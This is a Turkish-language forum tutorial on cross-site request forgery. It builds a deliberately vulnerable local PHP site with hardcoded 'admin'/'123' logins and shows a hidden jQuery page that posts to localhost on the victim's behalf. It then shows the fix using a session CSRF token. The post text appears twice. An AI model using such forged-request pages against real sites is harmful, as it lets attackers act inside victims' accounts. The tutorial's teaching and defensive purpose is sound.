Merhaba Dostlar
Bu gün sizlere csrf açığının nasıl oluştuğunu anlatmaya çalışacağım.
Açığı temel anlamda tanıtacak olursak aynı web tarayıcı üstünde açılan yeni bir sayfanın siz farketmeden sizin adınıza istenilen sitede işlem yapabilmesi olarak tanımlayabiliriz.
Örneğin tarayıcıda banka hesabınız açıkken sizin tıkladığınız site istenilen yerlere istek atarak sizin hesabınızdan başka bir hesaba para aktarımı yapabilir.
Veya facebook gibi bir sitede sizin üyeliğiniz açıkken şifrenizi değiştirebilir veya adınıza paylaşım veya mesaj atabilir.
Bu açığın oluşma sebebi siteler sizin bilgilerinizi sizin tarayıcınızda tutar. Ve sizin tarayıcınızdan sizi tanır ve sizin hesabınıza bağlantı yapmasını sağlar.
Böylelikle sizin tarayıcınızdan yapılan istek sizin hesabınız üstünden yapılmış olur ve hack işlemi gerçekleşir.
Tabi ki büyük siteler bu açıkları fixledi ancak çoğu sitede hala mevcut.
Özellikle bir framework üstüne yazılmamış sitelerde.
Şimdi ben buna ithafen bir basit web sitesi yazıp açığı nasıl sömürdüğümüzü anlatacağım.
Site dosyalarını en aşağıda paylaşacağım.
Gördüğünüz gibi burada giriş işlemi yapılıyor ve login.php ye istek atıyor
Burada anlaşılır olması için 2 adet kullanıcı ekledim ve bu kullanıcıların birisi admin ve anasayfa.php de paylaşım yapabiliyor. Diğeri hacker adlı kullanıcı bu sayfada paylaşım yapamıyor.
anasayfa.php yide bir şifre değiştirme sayfası veya facebook hesabından anasayfaya paylaşım yapılan yer olarak düşünebilirsiniz.
şimdi anasayfa.php
En önemli nokta bu sayfa.
Bu sayfada senaryomuz şöyle burası kullanıcıların anasayfada paylaşım yeri olsun.
hacker ise burada paylaşım yapamıyor. ben bunu düzgün kodlamadım ama anlaşılır olması için adminden başkasına paylaştırtmadım.
Bu sayfada form'da action da anasayfa.php ye post isteği atıyor.
ve post isteğinde 2 adet veri gönderiyor. bunlar
yazi
submit
biz bu ekranı hacker alanından görebiliyoruz çünkü facebook ta paylaşım atılan ekran herkesin aynı veya şifre değiştirme ekranı.
şimdi biz burada verilerin nereye gittiğini ve hangi postların istek atıldığını biliyorsak bir js kodunun gömülü olduğu bir web sayfasının linkini kurbana atarsak bu sayfa çalıştırıldığında bu alandan admin adına istek atabiliriz.
burada $.post('http://localhost/csrf/anasayfa.php' alanına formda istek gönderilen anasayfa.php olduğu için onu ekledik.
Başınada http://localhost/csrf/ i site adı olarak ekledik.
'yazi': 'hacker yazisi'
buradada input name olarak yazi verildiği için başa yazi yazıp yanındaki yere ise paylaşılmasını istediğimiz veriyi yazdık.
'submit':''
ve butonun name değeri submit olduğu için onuda post isteğine ekledik.
anlaşılır olması için bu csrf sayfasının tamamını buraya ekliyorum siz buna resim yazı vs ekleyebilirsiniz.
Burada sadece ekranda deneme yazacak ancak arkaplanda istenilen sayfaya istek atacak.
artık deneme vakti
kullanıcı adı admin şifre 123
herhangi bir post atıyorum
ekrana düşüyor
zararlı kodlarımın olduğu sayfayı çalıştırıyorum
ekrana zararlı koddan basılan veri düşüyor
Artık fixleme işlemine geçebiliriz.
Yapmamız gereken şey login işlemi olduktan sonra bir token oluşturup bunu $_session['csrf_token'] değişkeninde tutmak.
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
sonrasında bu veriyi anasayfadaki formda gözükmeyen input olarak vermek
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
sonrasında ise anasayfa.php de formdan gelen verilerin işlendiği kısıma
formdan gelen token ile kendi tokenımızın eşit olup olmadığını kontrol etmek
$csrf_token=htmlspecialchars($_POST['csrf_token']);
if ($_SESSION['csrf_token']!=$csrf_token) {
echo 'Hackleyemedin yiğidim ';
exit;
}
İşlemler bu kadar.
Csrf açıklı site dosyaları için tıklayın
Virüs Total
Açığın fixlenmiş halindeki dosyalar için tıklayın
Virüs Total
İyi Forumlar
Video Anlatım
Bu gün sizlere csrf açığının nasıl oluştuğunu anlatmaya çalışacağım.
Açığı temel anlamda tanıtacak olursak aynı web tarayıcı üstünde açılan yeni bir sayfanın siz farketmeden sizin adınıza istenilen sitede işlem yapabilmesi olarak tanımlayabiliriz.
Örneğin tarayıcıda banka hesabınız açıkken sizin tıkladığınız site istenilen yerlere istek atarak sizin hesabınızdan başka bir hesaba para aktarımı yapabilir.
Veya facebook gibi bir sitede sizin üyeliğiniz açıkken şifrenizi değiştirebilir veya adınıza paylaşım veya mesaj atabilir.
Bu açığın oluşma sebebi siteler sizin bilgilerinizi sizin tarayıcınızda tutar. Ve sizin tarayıcınızdan sizi tanır ve sizin hesabınıza bağlantı yapmasını sağlar.
Böylelikle sizin tarayıcınızdan yapılan istek sizin hesabınız üstünden yapılmış olur ve hack işlemi gerçekleşir.
Tabi ki büyük siteler bu açıkları fixledi ancak çoğu sitede hala mevcut.
Özellikle bir framework üstüne yazılmamış sitelerde.
Şimdi ben buna ithafen bir basit web sitesi yazıp açığı nasıl sömürdüğümüzü anlatacağım.
Site dosyalarını en aşağıda paylaşacağım.
HTML:
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Giriş</title>
</head>
<body>
<form action="login.php" method="post">
<input type="text" name="kadi"><br>
<input type="password" name="sifre" ><br>
<button type="submit" name="submit">Giriş</button>
</form>
</body>
</html>
Gördüğünüz gibi burada giriş işlemi yapılıyor ve login.php ye istek atıyor
PHP:
<?php
if (isset($_POST['submit'])) {
$kadi=htmlspecialchars($_POST['kadi']);
$sifre=htmlspecialchars($_POST['sifre']);
if ($kadi=='admin' and $sifre=='123') {
session_start();
$_SESSION['kadi']=$kadi;
$_SESSION['login']='true';
header('location:anasayfa.php');
exit;
}elseif ($kadi=='hacker' and $sifre=='123') {
session_start();
$_SESSION['kadi']=$kadi;
$_SESSION['login']='true';
header('location:anasayfa.php');
exit;
}else{
echo 'Kullanıcı adı veya şifre yanlış';
exit;
}
}
?>
Burada anlaşılır olması için 2 adet kullanıcı ekledim ve bu kullanıcıların birisi admin ve anasayfa.php de paylaşım yapabiliyor. Diğeri hacker adlı kullanıcı bu sayfada paylaşım yapamıyor.
anasayfa.php yide bir şifre değiştirme sayfası veya facebook hesabından anasayfaya paylaşım yapılan yer olarak düşünebilirsiniz.
şimdi anasayfa.php
PHP:
<?php
session_start();
if ($_SESSION['login']!='true') {
echo 'giriş yapın';
session_destroy();
exit;
}
include('vt.php');
?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Ekran</title>
</head>
<body>
<form action="anasayfa.php" method="post">
<input type="text" name="yazi">
<button type="submit" name="submit">Paylaş</button>
</form>
<?php
if (isset($_POST['submit'])) {
if ($_SESSION['kadi']!='admin') {
echo 'Paylaşma Hakkınız Yok';
exit;
}
$yazi=htmlspecialchars($_POST['yazi']);
$SqlSorgusu = "INSERT INTO yazi (yazi) VALUES (:yazi)";
$st = $db->prepare($SqlSorgusu);
$st->bindParam(':yazi', $yazi,PDO::PARAM_STR);
$st->execute();
}
include('vt.php');
$db = $db->prepare("SELECT * FROM yazi order by id desc");
$db->execute();
// Verileri çekmek için fetchAll() yöntemini kullanın
$oku = $db->fetchAll(PDO::FETCH_ASSOC); //verilerin hepsi eğer birini alacaksak sadece fetch olacaktı
foreach ($oku as $row) {
extract($row);
echo $yazi.'<br>';
}
?>
</body>
</html>
En önemli nokta bu sayfa.
Bu sayfada senaryomuz şöyle burası kullanıcıların anasayfada paylaşım yeri olsun.
hacker ise burada paylaşım yapamıyor. ben bunu düzgün kodlamadım ama anlaşılır olması için adminden başkasına paylaştırtmadım.
Bu sayfada form'da action da anasayfa.php ye post isteği atıyor.
ve post isteğinde 2 adet veri gönderiyor. bunlar
yazi
submit
biz bu ekranı hacker alanından görebiliyoruz çünkü facebook ta paylaşım atılan ekran herkesin aynı veya şifre değiştirme ekranı.
şimdi biz burada verilerin nereye gittiğini ve hangi postların istek atıldığını biliyorsak bir js kodunun gömülü olduğu bir web sayfasının linkini kurbana atarsak bu sayfa çalıştırıldığında bu alandan admin adına istek atabiliriz.
JavaScript:
<script src="https://code.jquery.com/jquery-3.6.4.js"></script>
<script type="text/javascript">
$.post('http://localhost/csrf/anasayfa.php', {
'yazi': 'hacker yazisi',
'submit':''
})
</script>
burada $.post('http://localhost/csrf/anasayfa.php' alanına formda istek gönderilen anasayfa.php olduğu için onu ekledik.
Başınada http://localhost/csrf/ i site adı olarak ekledik.
'yazi': 'hacker yazisi'
buradada input name olarak yazi verildiği için başa yazi yazıp yanındaki yere ise paylaşılmasını istediğimiz veriyi yazdık.
'submit':''
ve butonun name değeri submit olduğu için onuda post isteğine ekledik.
anlaşılır olması için bu csrf sayfasının tamamını buraya ekliyorum siz buna resim yazı vs ekleyebilirsiniz.
HTML:
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>csrf</title>
</head>
<body>
deneme
<script src="https://code.jquery.com/jquery-3.6.4.js"></script>
<script type="text/javascript">
$.post('http://localhost/csrf/anasayfa.php', {
'yazi': 'hacker yazisi',
'submit':''
})
</script>
</body>
</html>
Burada sadece ekranda deneme yazacak ancak arkaplanda istenilen sayfaya istek atacak.
artık deneme vakti
kullanıcı adı admin şifre 123
herhangi bir post atıyorum
ekrana düşüyor
zararlı kodlarımın olduğu sayfayı çalıştırıyorum
ekrana zararlı koddan basılan veri düşüyor
Artık fixleme işlemine geçebiliriz.
Yapmamız gereken şey login işlemi olduktan sonra bir token oluşturup bunu $_session['csrf_token'] değişkeninde tutmak.
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
sonrasında bu veriyi anasayfadaki formda gözükmeyen input olarak vermek
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
sonrasında ise anasayfa.php de formdan gelen verilerin işlendiği kısıma
formdan gelen token ile kendi tokenımızın eşit olup olmadığını kontrol etmek
$csrf_token=htmlspecialchars($_POST['csrf_token']);
if ($_SESSION['csrf_token']!=$csrf_token) {
echo 'Hackleyemedin yiğidim ';
exit;
}
İşlemler bu kadar.
Csrf açıklı site dosyaları için tıklayın
Virüs Total
Açığın fixlenmiş halindeki dosyalar için tıklayın
Virüs Total
İyi Forumlar
Video Anlatım